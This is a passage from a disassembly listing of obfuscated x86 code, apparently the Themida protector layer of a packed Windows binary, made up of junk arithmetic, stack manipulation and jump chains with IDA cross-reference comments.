eax push ebx jmp loc_58D52E sub_5921D8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_5921E7: ; CODE XREF: sub_59762D-7AA4j add bl, dh jmp loc_591121 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_5921EE: ; CODE XREF: Themida_:0058B9C4j ; Themida_:00592225j pop ebx push 5A81h mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], eax jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_59220D: ; CODE XREF: Themida_:0059621Bj shr edx, 2 jnp loc_58D630 shl edx, 3 and edx, 263F73B9h jg loc_592757 jmp loc_5921EE ; --------------------------------------------------------------------------- mov ebp, ecx pop ecx push eax push ebp ; START OF FUNCTION CHUNK FOR sub_59089C loc_59222F: ; CODE XREF: sub_59089C+8j pop ebx sub esi, 11E680AFh push esi push edi mov edi, 5DB64E91h xor [esp+8+var_4], edi pop edi jmp loc_58A5E4 ; END OF FUNCTION CHUNK FOR sub_59089C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_592247: ; CODE XREF: sub_590467+32E9j mov ebp, [esp+0Ah+var_A] add esp, 4 xchg esi, [esp+6+var_6] mov esp, [esp+6+var_6] mov cx, word ptr [esp+6+var_6] push eax jmp loc_58FB47 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_59225D: ; CODE XREF: Themida_:00593C56j ; Themida_:005942A1j add edi, 68D06334h jmp loc_58CD7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_592268: ; CODE XREF: sub_590467+415Bj shl esi, 3 jmp loc_58EDDF ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_592270: ; CODE XREF: sub_590B70-4BBj mov ecx, 0A5A385F0h sub edx, ecx pop ecx push esi mov esi, 13057644h neg esi add esi, 15580F43h and esi, 3C8C0101h add esi, 448A36A7h add esi, 0A773073h jmp loc_595B88 ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_59229D: ; CODE XREF: sub_59762D-7F03j mov al, 69h add al, 0D7h push ebx jmp loc_58C7ED ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F091 loc_5922A7: ; CODE XREF: sub_58F091+14j and edi, 21CE4626h jmp loc_58C5E8 ; END OF FUNCTION CHUNK FOR sub_58F091 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_5922B2: ; CODE XREF: sub_590010-2D1Cj pop edx jmp loc_58F0E7 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_5922B8: ; CODE XREF: Themida_:0058F8EDj jmp loc_592DEE ; --------------------------------------------------------------------------- loc_5922BD: ; CODE XREF: Themida_:0059500Bj mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] mov ecx, [esp] push edx jmp loc_596FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_5922E0: ; CODE XREF: sub_595BDA-4B26j push edx jmp loc_591400 ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- loc_5922E6: ; CODE XREF: Themida_:0059540Cj add esp, 4 jmp loc_597793 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_5922F1: ; CODE XREF: sub_58F5B5+1110j add edx, ecx sub edx, 43F67A21h pop ecx jmp loc_58C252 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5922FF: ; CODE XREF: sub_58C17E+7DA8j sub edi, 6E3D65DFh mov esi, [esp-12h+arg_C+2] push ecx jmp loc_594E3C ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_59230E: ; CODE XREF: Themida_:0058BBDAj ; sub_5EC2E8-5BE39j pop eax inc edx and edx, 5C99655Ah or edx, 63844BA5h jmp loc_59245E ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_592321: ; CODE XREF: Themida_:00594C6Fj xchg esi, [esp] pop esp mov [esp], ax jmp loc_59511D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_59232E: ; CODE XREF: sub_5916C4-330Dj neg ebp jg loc_5931C5 jmp loc_5919DA ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_59233B: ; CODE XREF: sub_58F5B5+2EB7j pop ecx add ebx, 0A285F659h add edi, ebx jmp loc_595CEB ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_592349: ; CODE XREF: sub_58B4D6+547Aj pop ebp push ebx mov ebx, 712739FFh not ebx add ebx, 2A7F1478h xor ebx, 6B3733A7h xor ebx, 56E93B97h jmp loc_597DA6 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- loc_592369: ; CODE XREF: Themida_:005948E6j jz loc_593783 push si mov si, 3EEEh or bp, si mov si, [esp] push edx mov edx, esp add edx, 4 add edx, 2 jmp loc_591029 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_59238D: ; CODE XREF: sub_590B70-3227j xor eax, 0AB938BD1h add ebx, eax jmp loc_59407D ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- loc_592399: ; CODE XREF: Themida_:00595689j pop ebx add ecx, 4 xchg ecx, [esp] jmp loc_58C9BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_5923A5: ; CODE XREF: sub_595E21-40F6j not ebp jmp loc_59307D ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_5923AC: ; CODE XREF: sub_592D25+2AF7j push 148663BDh pop ebx shr ebx, 8 js loc_58E80A inc ebx jmp loc_592553 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_5923C1: ; CODE XREF: sub_5938B9-3B85j mov [esp+0], ebx mov bh, dl jmp sub_594FD6 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596CA1 loc_5923CB: ; CODE XREF: sub_58C17E+38A4j ; sub_596CA1-136Bj add ebx, 4 jmp loc_58EB3C ; END OF FUNCTION CHUNK FOR sub_596CA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_5923D6: ; CODE XREF: sub_59762D-2099j jmp loc_5903AB ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_5923DB: ; CODE XREF: sub_58F5B5+5503j ; Themida_:005959DFj shr ecx, 4 neg ecx jmp loc_58F180 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_5923E5: ; CODE XREF: Themida_:00596207j add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_58F167 ; --------------------------------------------------------------------------- loc_5923FF: ; CODE XREF: Themida_:0058F672j add ebx, 5B063CD3h pop dword ptr [eax] jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_59240C: ; CODE XREF: sub_590010-3D36j sub eax, 79E7A6F2h jmp loc_594B8D ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_592416: ; CODE XREF: Themida_:0058A4E5j mov [esp], edi mov edi, esp jmp loc_58A811 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_592420: ; CODE XREF: sub_5938B9:loc_592140j neg ecx jmp loc_5933C2 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592857 loc_592427: ; CODE XREF: sub_592857+491Aj add esp, 4 jmp sub_595123 ; END OF FUNCTION CHUNK FOR sub_592857 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_59242F: ; CODE XREF: sub_58B4D6+97FFj push [esp+0Ch+var_C] pop ebp jmp loc_59658E ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_592438: ; CODE XREF: sub_592D25-3898j push edx mov edx, 655A4E46h add edi, edx pop edx jmp loc_58F755 ; --------------------------------------------------------------------------- loc_592446: ; CODE XREF: sub_592D25-6BCAj push ecx push 48B010A4h pop ecx push edi mov edi, 0 sub edi, ecx mov ecx, edi pop edi push edx jmp loc_5959BE ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_59245E: ; CODE XREF: sub_5EC2E8-59FCCj sub edx, 3E9DDC3Ch jmp loc_596BF4 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_592469: ; CODE XREF: sub_58F5B5+166j pop ebp xor ebx, ecx jmp loc_59233B ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_592471: ; CODE XREF: Themida_:0059096Fj xchg edx, [esp] pop esp add esi, 4 push ebp mov ebp, 2CD31473h xor ebp, 42B592Dh jmp loc_592BA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591059 loc_59248C: ; CODE XREF: sub_591059-50F7j sub esi, 5ACA016Ah inc esi jmp loc_58C208 ; END OF FUNCTION CHUNK FOR sub_591059 ; --------------------------------------------------------------------------- loc_592498: ; CODE XREF: Themida_:00596A88j add esi, 4 add esi, 2 jmp loc_5910C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BA12 loc_5924A9: ; CODE XREF: sub_58BA12+5C8Bj add esi, 0D194B405h or ebp, esi pop esi push edx mov edx, 1FCB5FC4h and ebp, edx pop edx shr ebp, 4 xchg edi, ebp jmp loc_594880 ; END OF FUNCTION CHUNK FOR sub_58BA12 ; --------------------------------------------------------------------------- loc_5924C5: ; CODE XREF: Themida_:00596028j shl ebx, 1 neg ebx push edi mov edi, 5A5CC5BEh add ebx, edi pop edi push ebp mov ebp, ebx mov edx, ebp pop ebp mov ebx, [esp] add esp, 4 add edx, 0CFB4AA84h sub ebp, 73D35964h add ebp, 7C8E55B7h add ebp, edx sub ebp, 7C8E55B7h add ebp, 73D35964h jmp loc_58C4ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_592503: ; CODE XREF: sub_5916C4-14C6j xor ebp, 81576044h and ecx, ebp mov ebp, [esp-4+arg_0] jmp loc_58FD7A ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_592513: ; CODE XREF: sub_595E21-57D5j xor eax, ecx xor eax, ebp xor ebp, eax xor eax, ebp sub esp, 4 mov [esp+0], ecx mov ecx, esp add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop [esp+4+var_4] mov esp, [esp+0] jmp loc_591D25 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5942E3 loc_592540: ; CODE XREF: sub_5942E3-99Bj push edi mov edi, 4 add eax, edi pop edi add eax, 4 jmp loc_590D69 ; END OF FUNCTION CHUNK FOR sub_5942E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_592553: ; CODE XREF: sub_592D25-969j jle loc_591130 push ebp mov ebp, 148664h sub ebx, ebp pop ebp mov ebp, ebx pop ebx add ebp, 0F8F058Eh sub ebp, edi jmp loc_59042B ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_592572: ; CODE XREF: sub_590467-1908j ; sub_598028-67B6j pop edx push edi push eax mov eax, 647E154Ch mov edi, eax pop eax not edi sub edi, 3335468Dh jmp loc_59508A ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_59258A: ; CODE XREF: sub_59762D-AB01j add ebx, edx jmp loc_58F12F ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F277 loc_592591: ; CODE XREF: sub_58F277+1j push dword ptr [esp+4] pop ebx pop [esp+4+var_4] pop esp ; END OF FUNCTION CHUNK FOR sub_58F277 ; START OF FUNCTION CHUNK FOR sub_58C17E loc_59259A: ; CODE XREF: sub_58C17E+88Bj ; sub_58C17E+A590j push [esp+2+var_4+2] pop ebx push ebx mov ebx, esp sub esp, 4 mov [esp+0Ah+var_C+2], edi mov edi, 23DB00BFh sub edi, 49EB3854h push eax mov eax, 26103799h add edi, eax pop eax jmp loc_58ED18 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5925C3: ; CODE XREF: sub_5916C4-6D5j sub edi, 122B1960h xor edi, edx xor edx, edi jmp loc_5912D7 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_5925D2: ; CODE XREF: Themida_:0058F067j mov bh, dl pop dx jmp loc_594B3D ; --------------------------------------------------------------------------- loc_5925DB: ; CODE XREF: Themida_:00591861j neg ebx xor ebx, 2B2B3DD3h xor ebx, 0C7D4C678h add edi, 51BE2264h jmp loc_58ED8B ; --------------------------------------------------------------------------- loc_5925F4: ; CODE XREF: Themida_:005956A1j pop cx dec bl neg bl jmp loc_592942 ; --------------------------------------------------------------------------- loc_5925FF: ; CODE XREF: Themida_:005943EEj add esp, 4 jmp loc_594832 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595655 loc_592607: ; CODE XREF: sub_595655-812Cj mov ebp, 41C1056Bh add ebp, 0ED2B07FCh sub ebx, ebp pop ebp shr ebx, 7 add ebx, 0D0A0E80h add ebx, 0F2B08118h jmp loc_58C4F8 ; END OF FUNCTION CHUNK FOR sub_595655 ; --------------------------------------------------------------------------- loc_592629: ; CODE XREF: Themida_:0058CF52j mov [esp], edx push ebx mov ebx, 519A2708h not ebx sub ebx, 0AE65D8F5h jmp loc_58D984 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_59263F: ; CODE XREF: sub_58C17E+2C46j xor esi, eax pop eax sub edx, esi pop esi add edx, eax add edx, 368B01B5h sub esp, 4 mov [esp+0Ch+var_C], ebp mov ebp, ecx push ebx sub esp, 4 jmp loc_591170 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_592661: ; CODE XREF: sub_590010-2AEFj pop ebp not eax shr eax, 3 push ebx mov ebx, 366134DEh shr ebx, 1 xor ebx, 3A3E6FC1h sub ebx, 3D300764h add eax, ebx jmp loc_5910BF ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_592682: ; CODE XREF: sub_58C17E+2391j mov ebp, ebx jmp loc_58CED7 ; --------------------------------------------------------------------------- loc_592689: ; CODE XREF: sub_58C17E+B84j push edx mov edx, 477E3585h jmp loc_59361D ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_592694: ; CODE XREF: Themida_:00592DFAj xor edi, esi xor esi, edi xor edi, ebx xor ebx, edi xor edi, ebx not ebx xchg ebx, edi xchg edi, esi not esi inc esi sub esp, 4 mov [esp], ecx mov ecx, 2CE31F58h sub esi, 61D32049h add esi, ecx add esi, 61D32049h pop ecx sub esi, 6615035Dh add edi, esi pop esi jmp loc_590449 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D99C loc_5926D2: ; CODE XREF: sub_58D99C-1932j shl eax, 8 jp loc_58C2DF and eax, 51F53A7Fh jg loc_58C050 mov ch, 0E4h push ebx ; END OF FUNCTION CHUNK FOR sub_58D99C ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5926EA: ; CODE XREF: sub_58C17E+9C14j add [esp+arg_0], ecx jmp loc_593F35 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_5926F3: ; CODE XREF: Themida_:00593825j xor ebx, 979DFFC1h mov eax, ebx jmp loc_58E5C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_592700: ; CODE XREF: Themida_:00591435j ; sub_5938B9+3DEAj add esp, 4 xchg ebp, [esp-0Ah+arg_4+2] pop esp push [esp-0Eh+arg_8+2] pop eax push 0C59h mov [esp-0Ah+arg_4+2], edi push esp push [esp-6+arg_0+2] jmp loc_591EDB ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_59271C: ; CODE XREF: Themida_:0058BBF5j jp loc_58E5A0 xor bl, 64h xchg ah, bl xchg dl, ah not dl xchg dl, ah xchg ah, bl mov bl, bl loc_592731: ; CODE XREF: Themida_:0058E7F4j push edi jmp loc_5915AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_592737: ; CODE XREF: sub_58C17E+4DACj push esi jmp loc_593B13 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_59273D: ; CODE XREF: Themida_:005963A9j mov cl, 4Bh mov dh, cl pop ecx xor dh, 12h jmp loc_58F0AA ; --------------------------------------------------------------------------- loc_59274A: ; CODE XREF: Themida_:0058E2FBj sub eax, 6B212B36h sub edx, eax pop eax jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_592757: ; CODE XREF: sub_5EC2E8:loc_58C6A6j ; Themida_:0059221Fj jmp sub_58C17E ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_59275C: ; CODE XREF: sub_58F5B5-42Fj mov ebp, ecx pop ecx push eax mov eax, ebp mov ebx, eax pop eax pop ebp and ebx, 254C0B5Fh push edi mov edi, 213606B8h jmp loc_58F35B ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_592777: ; CODE XREF: Themida_:0059712Dj ; sub_590467+7B8Bj push dword ptr [esp+0] pop edx add esp, 4 push eax jmp loc_58A70D ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_592784: ; CODE XREF: sub_58C17E+932Aj xchg ecx, [esp+2+var_4+2] pop esp push ebp sub esp, 4 mov [esp+6+var_8+2], edi mov edi, 33CB21E3h mov ebp, edi mov edi, [esp+6+var_8+2] add esp, 4 and ebp, 1FC73DB4h xor ebp, 16837E40h push edx jmp loc_597E13 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_5927B1: ; CODE XREF: Themida_:0059103Ej ; sub_590010+164Bj not eax jmp loc_5919BD ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_5927B8: ; CODE XREF: Themida_:005930C0j pop esp shl byte ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_5927C2: ; CODE XREF: sub_594654-A321j mov ebx, 24A853CEh push esi jmp loc_596BA6 ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_5927CD: ; CODE XREF: sub_590467-1FD7j ; Themida_:0059296Dj sub al, 2Fh pop bx push cx mov cl, 62h jmp loc_58BCA5 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F013 loc_5927DA: ; CODE XREF: sub_58F013+1Cj sub ecx, ebp jmp loc_58CB4F ; END OF FUNCTION CHUNK FOR sub_58F013 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5927E1: ; CODE XREF: sub_5916C4+24DCj add edi, 4 xchg edi, [esp-0Ch+arg_8] jmp loc_590F10 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_5927EC: ; CODE XREF: Themida_:005932C0j sub esp, 4 mov [esp], eax mov eax, 2 add ebx, eax mov eax, [esp] jmp loc_58B070 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_592804: ; CODE XREF: sub_5938B9-4770j push ecx mov ecx, 79E4EF3h or ecx, 52AE1378h jo loc_58F760 sub ecx, 2772EBF7h and ecx, 3A3D56A7h add ecx, 3404EA63h mov ebx, ecx pop ecx xor ebx, edx pop edx push edx jmp loc_593D17 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D99C loc_592834: ; CODE XREF: sub_58D99C+3D68j add ebx, 107B3949h jmp loc_594200 ; END OF FUNCTION CHUNK FOR sub_58D99C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5942E3 loc_59283F: ; CODE XREF: sub_5942E3-8F4j pop edi jmp loc_58BA75 ; END OF FUNCTION CHUNK FOR sub_5942E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_592845: ; CODE XREF: sub_590467-2697j pop ebp pop [esp-6+arg_0+2] mov esp, [esp-0Ah+arg_4+2] mov [esp-0Ah+arg_4+2], esi mov esi, 1 push esi pop edx pop esi ; END OF FUNCTION CHUNK FOR sub_590467 ; =============== S U B R O U T I N E ======================================= sub_592857 proc near ; CODE XREF: sub_59524C-805Aj ; sub_590467+1CC2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058A9A0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058B2CF SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0058B983 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00591AF7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00592427 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00596C75 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059716C SIZE 0000000A BYTES sub esp, 4 mov [esp+4+var_4], edx push ebx jmp loc_591AF7 sub_592857 endp ; --------------------------------------------------------------------------- loc_592863: ; CODE XREF: Themida_:00594ECBj add bl, al sub bl, 0F8h sub bl, 41h movzx eax, al push esi push esp pop esi push ecx mov ecx, 172435C9h shl ecx, 4 shl ecx, 4 jmp loc_5979DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_592882: ; CODE XREF: sub_595E21-9159j sub ebx, 0FFFDBA48h push ebx pop edi pop ebx jmp loc_58ED84 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- loc_592890: ; CODE XREF: Themida_:00593469j add esp, 4 add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov ecx, esp sub esp, 4 mov [esp], edx mov edx, 4 add ecx, edx mov edx, [esp] add esp, 4 push edi mov edi, 2 add ecx, edi pop edi xchg ecx, [esp] pop esp mov ax, [esp] sub esp, 4 mov [esp], eax push 12AAh mov [esp], esp push 46D9h mov [esp], ebp mov ebp, 4 add [esp+4], ebp jmp loc_58AE90 ; --------------------------------------------------------------------------- loc_5928FE: ; CODE XREF: Themida_:0058A829j pop esp mov [esp], edx push eax jmp loc_595D22 ; --------------------------------------------------------------------------- mov cx, [esp] push 5BFCh mov [esp], eax mov eax, esp add eax, 4 push 2B3Fh mov [esp], ebx mov ebx, 2664151Fh shr ebx, 4 shl ebx, 3 jns loc_58E28A sub ebx, 13320A86h push esi jmp loc_58C2D1 ; --------------------------------------------------------------------------- db 8Ah, 0C0h ; --------------------------------------------------------------------------- loc_592942: ; CODE XREF: Themida_:005925FAj xor bl, 0B3h xor dh, bl mov ebx, [esp] add esp, 4 push eax mov ah, dh mov bh, ah pop eax mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add al, 2Fh add al, bh jmp loc_5927CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_592972: ; CODE XREF: sub_5916C4+662Dj add ebp, 62701BEBh jmp loc_58DD66 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_59297D: ; CODE XREF: Themida_:0058F30Fj add esp, 4 jmp loc_593523 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_592988: ; CODE XREF: sub_5EC2E8-5AFA6j add ebp, 1D896B42h mov edx, ebp pop ebp jmp loc_5904D1 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_592996: ; CODE XREF: sub_59762D-1EA1j not dh xchg ch, dh push ecx jmp loc_595079 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_5929A0: ; CODE XREF: sub_5EC2E8-56659j push edx mov edx, esp add edx, 4 push esi mov esi, 198E2AF4h not esi add esi, 198E2AF9h add edx, esi pop esi xor edx, [esp+28h+var_28] xor [esp+28h+var_28], edx xor edx, [esp+28h+var_28] jmp loc_59722C ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_5929C8: ; CODE XREF: sub_5938B9+4146j xchg ebp, [esp+0] mov esp, [esp+0] push ebx push 758E61EDh pop ebx push 1A6Eh mov [esp+0], ecx mov ecx, 594A35A8h or ebx, ecx mov ecx, [esp+0] jmp loc_58E6F8 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5929EC: ; CODE XREF: sub_5916C4+199Bj pop eax sub ecx, edi push edx mov edx, 43D054F8h sub ecx, edx jmp loc_591A9C ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_5929FC: ; CODE XREF: Themida_:0058D997j mov edx, 1EE60DF3h add edx, 1 jmp loc_592DE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_592A0C: ; CODE XREF: sub_5EC2E8-55747j xor edi, [esp+28h+var_28] mov esp, [esp+28h+var_28] jmp loc_58C48D ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_592A17: ; CODE XREF: sub_5916C4+404Dj shl ebp, 8 jmp loc_5934E2 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_592A1F: ; CODE XREF: Themida_:00596A82j mov [esp], eax push esp jmp loc_591002 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_592A28: ; CODE XREF: sub_5916C4-1080j xchg edx, [esp-8+arg_4] pop esp xor eax, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], eax xor eax, [esp-0Ch+arg_8] jmp loc_58AA99 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_592A3A: ; CODE XREF: sub_59762D-35D6j pop bx add al, 57h jmp loc_58EB0E ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_592A43: ; CODE XREF: sub_58C17E+6DFFj xor ebx, 6B84F12Bh mov esi, ebx pop ebx sub ebp, esi pop esi jmp loc_593351 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5909B4 loc_592A54: ; CODE XREF: sub_5909B4+6j mov eax, ebp pop ebp dec eax shr eax, 5 inc eax jmp loc_59107C ; END OF FUNCTION CHUNK FOR sub_5909B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_592A61: ; CODE XREF: sub_5EC2E8-5D74Bj sub dl, 15h sub bh, dl pop edx sub al, bh jmp loc_594F0A ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_592A6E: ; CODE XREF: 